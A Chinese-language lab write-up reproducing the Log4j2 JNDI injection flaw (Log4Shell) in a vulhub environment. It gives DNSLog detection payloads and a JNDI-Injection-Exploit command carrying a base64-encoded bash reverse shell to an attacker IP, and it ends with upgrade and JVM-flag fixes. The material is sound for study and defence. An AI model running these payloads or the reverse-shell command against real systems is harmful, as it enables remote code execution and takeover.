漏洞概述
apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广。
影响版本
Apache Log4j 2.x <= 2.14.1
-
受影响组件:
-
Spring-boot-strater-log4j2
-
Apache Solr Apache Flink
-
Apache Druid
环境搭建
使用vulhub搭建靶场
- 需要docker环境
访问系统
漏洞复现
通过DNSLog平台获取域名fql9lt.dnslog.cn,构造payload:
-
{jndi:rmi://{sys:java.version}.xxx.dnslog.cn}
-
{jndi:ldap://{sys:java.version}.xxx.dnslog.cn}
打开DNSLog Platform获取域名:
Dnslog请求:
1.web服务器回显内容:
2.Dnslog平台信息:
EXP利用:
首先下载工具
下载解压完后直接进入tools文件,然后在该路径下cmd打开
-
格式:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”
-
这里插入的命令必须经过编码,不然无法实现
-
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjE0NS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.49.1
开启端口监听
执行EXP,生成可用的payload
然后将url拼接构造反弹shell的payload
修复建议
升级到最新版本:Apache官方已发布新版本完成漏洞修复,建议及时升级至最新版本。
添加JVM启动参数:在启动JVM时添加参数-Dlog4j2.formatMsgNoLookups=true,以防止JNDI注入攻击。